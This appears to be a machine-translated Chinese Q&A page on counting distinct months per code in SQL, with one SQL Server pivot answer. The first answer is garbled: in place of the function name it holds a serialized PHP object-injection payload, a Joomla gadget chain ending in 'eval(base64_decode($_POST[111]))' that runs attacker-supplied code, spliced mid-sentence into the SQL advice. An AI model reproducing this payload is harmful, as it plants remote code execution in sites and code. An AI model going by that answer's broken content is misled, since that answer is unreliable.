Question

我的数据如下：

Code    Date
123     1/2/2016
123     1/4/2016 
123     1/4/2016
123     2/5/2016
456     1/2/2016
456     1/3/2016
456     2/7/2016
789     1/7/2016
789     1/8/2016
789     3/7/2016
789     3/15/2016

我正在寻找按代码分组的明显月数。

所以结果看起来像这样

Code     Jan2016      Feb2016      Mar2016
123         1           1            0
456         1           1            0
789         1           0            1

我觉得我的代码可能过于复杂。

到目前为止我已经

了

SELECT
    p.code
    ,SUM(CASE WHEN p.date BETWEEN '11/1/2010' AND '11/30/2010' 
    THEN 1 ELSE 0 END) AS 'Nov2010'
    FROM table
    Group By p.code

但是从2010年11月开始，我只需要知道这是否存在

Answer 1

您只需更改聚合函数即可。使用}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21: "\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20: "JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10: "javascript";i:9999;s:8:"feed_url";s:54:"eval(base64_decode($_POST[111]));JFactory: :get();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ð'代替MAX。

SUM

Answer 2

在SQL Server中你可以使用数据透视表，位杂乱但这样的东西会起作用，样本数据：

declare @table table (code int, date date)
insert into @table values 
(123, '1/2/2016'),
(123, '1/4/2016'),
(123, '1/4/2016'),
(123, '2/5/2016'),
(456, '1/2/2016'),
(456, '1/3/2016'),
(456, '2/7/2016'),
(789, '1/7/2016'),
(789, '1/8/2016'),
(789, '3/7/2016'),
(789, '3/15/2016')

然后使用数据透视表：

with cte (code) as (select distinct code from @table)

select  
    c1.code,
    ISNULL(months.[1],0) as 'Jan 2016',
    ISNULL(months.[2],0) as 'Feb 2016',
    ISNULL(months.[3],0) as 'Mar 2016'
from 
   (
    select
    c.code,
    count( distinct t.code) as [ID],
    month(date) as [month]
    from @table t
    join cte c on t.code = c.code
    group by c.code, month(date)
    ) P
pivot 
    (
    sum([ID])
    for [month] IN ("1","2","3")--,"4","5","6","7","8","9","10","11","12")
    ) as months
    join cte c1 on months.code = c1.code

会给你以下结果：

code    Jan 2016    Feb 2016    Mar 2016
123         1          1           0
456         1          1           0
789         1          0           1

如果您在第3个月后发表评论，则可以在今年剩余时间内完成评论

使用每月多条记录计算不同月份

2 个答案: